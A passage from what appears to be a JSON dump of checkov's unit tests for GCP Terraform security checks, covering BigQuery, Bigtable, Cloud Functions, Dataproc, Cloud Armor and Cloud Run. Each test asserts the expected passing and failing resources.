    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.BigQueryPrivateTable import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestBigQueryPrivateTable(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_BigQueryPrivateTable\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_bigquery_table_iam_binding.pass1',\n            'google_bigquery_table_iam_binding.pass2',\n            'google_bigquery_table_iam_member.pass1',\n            'google_bigquery_table_iam_member.pass2',\n\n        }\n        failing_resources = {\n            'google_bigquery_table_iam_binding.fail1',\n            'google_bigquery_table_iam_binding.fail2',\n            'google_bigquery_table_iam_binding.fail3',\n            'google_bigquery_table_iam_binding.fail4',\n            'google_bigquery_table_iam_member.fail1',\n            'google_bigquery_table_iam_member.fail2',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 6)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_BigQueryTableDeletionProtection.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.BigQueryTableDeletionProtection import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestBigQueryTableDeletionProtection(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_BigQueryTableDeletionProtection\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_bigquery_table.pass\",\n        }\n        failing_resources = {\n            \"google_bigquery_table.fail\",\n            \"google_bigquery_table.fail2\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_BigQueryTableEncryptedWithCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.BigQueryTableEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestBigQueryTableEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_BigQueryTableEncryptedWithCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_bigquery_table.pass\",\n        }\n\n        failing_resources = {\n            \"google_bigquery_table.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_BigTableInstanceDeletionProtection.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.BigTableInstanceDeletionProtection import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestBigQueryTableDeletionProtection(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_BigTableInstanceDeletionProtection\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_bigtable_instance.pass\",\n        }\n        failing_resources = {\n            \"google_bigtable_instance.fail\",\n            \"google_bigtable_instance.fail2\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_BigTableInstanceEncryptedWithCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.BigTableInstanceEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestBigTableInstanceEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_BigTableInstanceEncryptedWithCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_bigtable_instance.pass\",\n        }\n\n        failing_resources = {\n            \"google_bigtable_instance.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_CloudArmorWAFACLCVE202144228.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.CloudArmorWAFACLCVE202144228 import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCloudArmorWAFACLCVE202144228(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CloudArmorWAFACLCVE202144228\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_compute_security_policy.enabled_deny_403\",\n            \"google_compute_security_policy.enabled_deny_404\",\n            \"google_compute_security_policy.pass_preconfigwaf\",\n            \"google_compute_security_policy.pass_separate_resource\",\n        }\n\n        failing_resources = {\n            \"google_compute_security_policy.allow\",\n            \"google_compute_security_policy.preview\",\n            \"google_compute_security_policy.different_expr\",\n            \"google_compute_security_policy.pass_preconfigwaf\",\n            \"google_compute_security_policy.fail\",\n            \"google_compute_security_policy.fail_separate_resource\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n        # check especially for the evaluated keys\n        actual_evaluated_keys = next(\n            c.check_result[\"evaluated_keys\"]\n            for c in report.failed_checks\n            if c.resource == \"google_compute_security_policy.different_expr\"\n        )\n        expected_evaluated_keys = [\n            \"rule/[0]/action\",\n            \"rule/[0]/preview\",\n            \"rule/[0]/match/[0]/expr/[0]/expression\",\n        ]\n        self.assertCountEqual(expected_evaluated_keys, actual_evaluated_keys)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_CloudBuildWorkerArePrivate.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.CloudBuildWorkersArePrivate import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCloudBuildWorkersArePrivate(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CloudBuildWorkersArePrivate\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_cloudbuild_worker_pool.pass\",\n        }\n\n        failing_resources = {\n            \"google_cloudbuild_worker_pool.fail\",\n            \"google_cloudbuild_worker_pool.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_CloudFunctionPermissiveIngress.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.CloudFunctionPermissiveIngress import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCloudFunctionPermissiveIngress(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CloudFunctionPermissiveIngress\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_cloudfunctions2_function.pass1',\n            'google_cloudfunctions_function.pass2',\n        }\n        failing_resources = {\n            'google_cloudfunctions2_function.fail1',\n            'google_cloudfunctions2_function.fail2_not_specified',\n            'google_cloudfunctions_function.fail3'\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 2)\n        self.assertEqual(summary['failed'], 3)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_CloudFunctionsShouldNotbePublic.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.CloudFunctionsShouldNotBePublic import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCloudFunctionsShouldNotBePublic(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CloudFunctionsShouldNotBePublic\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_cloudfunctions_function_iam_member.pass\",\n            \"google_cloudfunctions_function_iam_binding.pass\",\n            \"google_cloudfunctions_function_iam_binding.pass2\",\n            \"google_cloudfunctions2_function_iam_member.pass\",\n            \"google_cloudfunctions2_function_iam_binding.pass\",\n            \"google_cloudfunctions2_function_iam_binding.pass2\",\n        }\n\n        failing_resources = {\n            \"google_cloudfunctions_function_iam_member.fail\",\n            \"google_cloudfunctions_function_iam_binding.fail\",\n            \"google_cloudfunctions_function_iam_binding.fail2\",\n            \"google_cloudfunctions2_function_iam_member.fail\",\n            \"google_cloudfunctions2_function_iam_binding.fail\",\n            \"google_cloudfunctions2_function_iam_binding.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 6)\n        self.assertEqual(summary[\"failed\"], 6)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_CloudPubSubEncryptedWithCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.CloudPubSubEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCloudPubSubEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CloudPubSubEncryptedWithCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_pubsub_topic.pass\",\n        }\n\n        failing_resources = {\n            \"google_pubsub_topic.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_CloudSqlMajorVersion.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.CloudSqlMajorVersion import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCloudSqlMajorVersion(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_CloudSqlMajorVersion\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_sql_database_instance.pass',\n            'google_sql_database_instance.pass3',\n            'google_sql_database_instance.pass4',\n        }\n        failing_resources = {\n            'google_sql_database_instance.fail',\n            'google_sql_database_instance.fail2',\n            'google_sql_database_instance.fail3',\n            'google_sql_database_instance.fail4',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 3)\n        self.assertEqual(summary['failed'], 4)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_CloudStorageLogging.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.gcp.CloudStorageLogging import check\n\n\nclass TestCloudStorageLogging(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"google_storage_bucket\" \"logging\" {\n                name     = \"jgwloggingbucket\"\n                location = var.location\n                uniform_bucket_level_access = true\n          }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_storage_bucket']['logging']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"google_storage_bucket\" \"logging\" {\n                name     = \"jgwloggingbucket\"\n                location = var.location\n                uniform_bucket_level_access = true\n                logging {\n                  log_bucket = \"mylovelybucket\"\n                }\n          }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['google_storage_bucket']['logging']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_CloudStorageSelfLogging.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.CloudStorageSelfLogging import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCloudStorageSelfLogging(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CloudStorageSelfLogging\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_storage_bucket.pass\",\n        }\n\n        failing_resources = {\n            \"google_storage_bucket.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_DataFusionPrivateInstance.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.DataFusionPrivateInstance import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDataFusionPrivateInstance(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DataFusionPrivateInstance\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_data_fusion_instance.pass'\n        }\n        failing_resources = {\n            'google_data_fusion_instance.fail',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_DataFusionStackdriverLogs.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.DataFusionStackdriverLogs import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDataFusionStackdriverLogs(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DataFusionStackdriverLogs\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_data_fusion_instance.pass'\n        }\n        failing_resources = {\n            'google_data_fusion_instance.fail',\n            'google_data_fusion_instance.fail2',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_DataFusionStackdriverMonitoring.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.DataFusionStackdriverMonitoring import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDataFusionStackdriverMonitoring(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DataFusionStackdriverMonitoring\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_data_fusion_instance.pass'\n        }\n        failing_resources = {\n            'google_data_fusion_instance.fail',\n            'google_data_fusion_instance.fail2',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_DataflowJobEncryptedWithCMK.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.gcp.DataflowJobEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDataflowJobEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_DataflowJobEncryptedWithCMK\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"google_dataflow_job.pass\",\n        }\n\n        failing_resources = {\n            \"google_dataflow_job.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_DataflowPrivateJob.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.DataflowPrivateJob import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDataflowPrivateJob(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DataflowPrivateJob\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_dataflow_job.pass',\n        }\n        failing_resources = {\n            'google_dataflow_job.fail1',\n            'google_dataflow_job.fail2',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_DataprocClusterEncryptedWithCMK.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.DataprocClusterEncryptedWithCMK import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDataprocClusterEncryptedWithCMK(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DataprocClusterEncryptedWithCMK\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_dataproc_cluster.pass'\n        }\n        failing_resources = {\n            'google_dataproc_cluster.fail',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 1)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_DataprocPrivateCluster.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.DataprocPrivateCluster import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDataprocPrivateCluster(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DataprocPrivateCluster\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_dataproc_cluster_iam_binding.pass1',\n            'google_dataproc_cluster_iam_binding.pass2',\n            'google_dataproc_cluster_iam_member.pass1',\n            'google_dataproc_cluster_iam_member.pass2',\n\n        }\n        failing_resources = {\n            'google_dataproc_cluster_iam_binding.fail1',\n            'google_dataproc_cluster_iam_binding.fail2',\n            'google_dataproc_cluster_iam_binding.fail3',\n            'google_dataproc_cluster_iam_binding.fail4',\n            'google_dataproc_cluster_iam_member.fail1',\n            'google_dataproc_cluster_iam_member.fail2',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 4)\n        self.assertEqual(summary['failed'], 6)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_DataprocPublicIpCluster.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.DataprocPublicIpCluster import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDataprocPublicIpCluster(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_DataprocPublicIpCluster\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_dataproc_cluster.pass1',\n        }\n        failing_resources = {\n            'google_dataproc_cluster.fail1',\n            'google_dataproc_cluster.fail2',\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], 1)\n        self.assertEqual(summary['failed'], 2)\n        self.assertEqual(summary['skipped'], 0)\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/gcp/test_GCPCloudRunPrivateService.py",
    "content": "import unittest\nimport os\n\nfrom checkov.terraform.checks.resource.gcp.GCPCloudRunPrivateService import check\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\n\n\nclass TestGCPCloudRunPrivateService(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_GCPCloudRunPrivateService\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'google_cloud_run_service_iam_binding.pass1',\n            'google_cloud_run_service_iam_binding.pass2',\n            'google_cloud_run_service_iam_member.pass1',\n            'google_cloud_run_service_iam_member.pass2',\n\n        }\n        failing_resources = {\n            'google_cloud_run_service_iam_binding.fail1',\n            'google_cloud_run_service_iam_binding.fail2',\n            'google_cloud_run_service_iam_binding.fail3',\n            'google_cloud_run_service_iam_binding.fail4',\n            